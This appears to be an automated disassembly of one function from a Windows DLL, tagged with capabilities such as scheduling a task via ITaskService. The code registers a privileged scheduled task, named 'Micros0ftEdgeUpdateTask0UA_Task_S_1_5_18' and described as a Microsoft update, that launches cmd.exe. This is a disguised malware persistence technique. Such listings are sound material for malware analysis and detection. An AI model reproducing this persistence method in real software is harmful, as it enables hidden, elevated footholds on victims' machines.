Function at 0x10001300
Capabilities:
Get common file path
Resolve function by parsing pe exports
Schedule task via itaskservice

Disassembly:
sub esp, 0x678
mov eax, dword [0x1000d05c]
xor eax, esp
mov dword [esp + 0x674], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x688]
mov eax, esi
push edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10001324
sub eax, edx
sar eax, 1
lea ecx, [esi + eax*2]
mov dword [esp + 0x54], ecx
mov eax, ecx
cmp ecx, esi
jbe 0x10001983
cmp word [eax], 0x5c
je 0x10001353
sub eax, 2
cmp eax, esi
ja 0x10001344
jmp 0x10001359
mov ecx, eax
mov dword [esp + 0x54], eax
cmp ecx, esi
jbe 0x10001983
mov eax, ecx
sub eax, esi
sar eax, 1
lea edi, [eax + eax]
lea eax, [edi + 2]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [esp + 0x58], eax
test eax, eax
je 0x10001983
push edi
push esi
push eax
call fcn.100028c0
add esp, 0xc
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jl 0x10001983
push 0
push 0
push 0
push 3
push 6
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea ecx, [esp + 0x1c]
push ecx
push 0x1000a1b0
push 1
push 0
push 0x1000a190
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x1000197d
xor eax, eax
mov dword [esp + 0x3e], eax
mov dword [esp + 0x42], eax
mov dword [esp + 0x46], eax
mov word [esp + 0x4a], ax
lea eax, [esp + 0x3c]
xor edx, edx
push eax
mov word [esp + 0x40], dx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov ecx, dword [esp + 0x3c]
mov edx, dword [esp + 0x40]
mov esi, dword [esp + 0x44]
mov edi, dword [esp + 0x48]
mov ebx, dword [esp + 0x1c]
mov ebp, dword [ebx]
sub esp, 0x10
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], edx
mov dword [eax + 8], esi
mov dword [eax + 0xc], edi
sub esp, 0x10
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], edx
mov dword [eax + 8], esi
mov dword [eax + 0xc], edi
sub esp, 0x10
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], edx
mov dword [eax + 8], esi
mov dword [eax + 0xc], edi
sub esp, 0x10
mov eax, esp
mov dword [eax], ecx
mov ecx, dword [ebp + 0x28]
mov dword [eax + 4], edx
mov dword [eax + 8], esi
push ebx
mov dword [eax + 0xc], edi
call ecx
test eax, eax
mov eax, dword [esp + 0x1c]
jge 0x1000146e
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
jmp 0x1000197d
lea edx, [esp + 0x38]
push edx
xor esi, esi
mov dword [esp + 0x3c], esi
mov ecx, dword [eax]
push 0x1000a320
push eax
mov eax, dword [ecx + 0x1c]
call eax
test eax, eax
mov eax, dword [esp + 0x1c]
jl 0x10001975
lea edx, [esp + 0x10]
push edx
mov dword [esp + 0x14], esi
mov ecx, dword [eax]
push esi
push eax
mov eax, dword [ecx + 0x24]
call eax
test eax, eax
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
jl 0x1000197b
call edx
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x28]
mov dword [esp + 0x1c], esi
mov dword [esp + 0x28], esi
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x1c]
call eax
test eax, eax
jl 0x100016c3
mov eax, dword [esp + 0x28]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x28]
push str.Administrator
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x28]
mov ecx, dword [eax]
jl 0x100016bd
mov edx, dword [ecx + 0x20]
push str.Keep_your_Microsoft_software_up_to_date.
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x28]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
jl 0x100016c1
call edx
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x24]
mov dword [esp + 0x24], esi
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x3c]
call eax
test eax, eax
jl 0x100016c3
mov eax, dword [esp + 0x24]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x40]
push str.Administrators
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x24]
mov ecx, dword [eax]
jl 0x100016bd
mov edx, dword [ecx + 0x38]
push 4
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x24]
mov ecx, dword [eax]
jl 0x100016bd
mov edx, dword [ecx + 0x48]
push 1
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x24]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
jl 0x100016c1
call edx
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
mov dword [esp + 0x14], esi
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x2c]
call eax
test eax, eax
jl 0x100016c3
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x70]
push str.PT0S
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
jl 0x100016bd
mov edx, dword [ecx + 0x40]
push esi
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
jl 0x100016bd
mov edx, dword [ecx + 0x48]
push esi
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
jl 0x100016bd
mov edx, dword [ecx + 0x20]
push 0xffffffffffffffff
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
jl 0x100016bd
mov edx, dword [ecx + 0x58]
push esi
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
jl 0x100016bd
mov edx, dword [ecx + 0x38]
push esi
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
jl 0x100016bd
mov edx, dword [ecx + 0x98]
push esi
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
jl 0x100016c1
call edx
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x2c]
mov dword [esp + 0x2c], esi
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x24]
call eax
test eax, eax
jl 0x100016c3
mov eax, dword [esp + 0x2c]
lea edx, [esp + 0x4c]
push edx
mov dword [esp + 0x50], esi
mov ecx, dword [eax]
push 9
push eax
mov eax, dword [ecx + 0x28]
call eax
test eax, eax
jl 0x100016b7
mov eax, dword [esp + 0x4c]
lea edx, [esp + 0x34]
push edx
mov dword [esp + 0x38], esi
mov ecx, dword [eax]
push 0x1000a1c0
push eax
mov eax, dword [ecx]
call eax
test eax, eax
jl 0x100016b7
mov eax, dword [esp + 0x34]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x24]
push str.Trigger1
push eax
call edx
test eax, eax
mov eax, dword [esp + 0x34]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
jge 0x100016cc
call edx
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x10]
jmp 0x10001975
call edx
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x30]
mov dword [esp + 0x30], esi
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x44]
call eax
test eax, eax
jl 0x100016c3
mov eax, dword [esp + 0x30]
lea edx, [esp + 0x20]
push edx
mov dword [esp + 0x24], esi
mov ecx, dword [eax]
push esi
push eax
mov eax, dword [ecx + 0x30]
call eax
test eax, eax
mov eax, dword [esp + 0x30]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
jl 0x100016c1
call edx
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], esi
mov ecx, dword [eax]
push str.MbLk
push eax
mov eax, dword [ecx]
call eax
test eax, eax
jl 0x100017a1
push 0x104
lea eax, [esp + 0x480]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea ecx, [esp + 0x47c]
push ecx
lea edx, [esp + 0x278]
push 0x104
push edx
call fcn.10002669
push str.cmd.exe
lea eax, [esp + 0x284]
push 0x104
push eax
call fcn.100027b6
mov eax, dword [esp + 0x30]
mov ecx, dword [eax]
add esp, 0x18
lea edx, [esp + 0x274]
push edx
push eax
mov eax, dword [ecx + 0x2c]
call eax
test eax, eax
jge 0x100017b6
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x20]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x10]
jmp 0x10001975
mov ecx, dword [0x1000a24c]
mov eax, dword [str._c__cd]
mov edx, dword [0x1000a250]
push 0x1f8
mov dword [esp + 0x74], ecx
mov dword [esp + 0x70], eax
mov eax, dword [0x1000a254]
lea ecx, [esp + 0x80]
push esi
push ecx
mov dword [esp + 0x80], edx
mov dword [esp + 0x84], eax
call fcn.10002840
mov edi, dword [esp + 0x64]
push edi
lea edx, [esp + 0x7c]
push 0x104
push edx
call fcn.100027b6
push str.___start
lea eax, [esp + 0x88]
push 0x104
push eax
call fcn.100027b6
mov ecx, dword [esp + 0x78]
add ecx, 2
push ecx
lea edx, [esp + 0x94]
push 0x104
push edx
call fcn.100027b6
push 0x1000a228
lea eax, [esp + 0xa0]
push 0x104
push eax
call fcn.100027b6
mov eax, dword [esp + 0x54]
mov ecx, dword [eax]
add esp, 0x3c
lea edx, [esp + 0x6c]
push edx
push eax
mov eax, dword [ecx + 0x34]
call eax
test eax, eax
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
jl 0x1000179b
mov edx, dword [ecx + 0x3c]
push edi
push eax
call edx
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp ebx, esi
jl 0x10001795
mov edi, dword [esp + 0x44]
mov ebx, dword [esp + 0x48]
mov eax, 8
mov word [esp + 0x5c], ax
xor eax, eax
mov dword [esp + 0x5e], eax
mov dword [esp + 0x62], eax
mov dword [esp + 0x66], eax
mov word [esp + 0x6a], ax
mov edx, dword [esp + 0x38]
lea eax, [esp + 0x50]
push eax
sub esp, 0x10
mov eax, esp
mov dword [esp + 0x64], esi
mov esi, dword [esp + 0x70]
mov dword [eax], esi
mov esi, dword [esp + 0x74]
mov dword [eax + 4], esi
mov esi, dword [esp + 0x54]
mov ebp, dword [edx]
push 3
sub esp, 0x10
mov ecx, 0x1000a224
mov dword [eax + 8], ecx
mov ecx, dword [esp + 0x90]
mov dword [eax + 0xc], ecx
mov ecx, dword [esp + 0x64]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], esi
mov dword [eax + 8], edi
mov dword [eax + 0xc], ebx
sub esp, 0x10
mov eax, esp
mov dword [eax], ecx
mov ecx, dword [ebp + 0x44]
mov dword [eax + 4], esi
mov dword [eax + 8], edi
push 6
mov dword [eax + 0xc], ebx
mov eax, dword [esp + 0x4c]
push eax
push str.Micros0ftEdgeUpdateTask0UA_Task_S_1_5_18
push edx
call ecx
test eax, eax
jge 0x10001941
mov eax, dword [esp + 0x18]
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
mov eax, dword [esp + 0x20]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x10]
jmp 0x10001975
mov eax, dword [esp + 0x50]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x20]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x38]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [esp + 0x684]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100027a7
add esp, 0x678
ret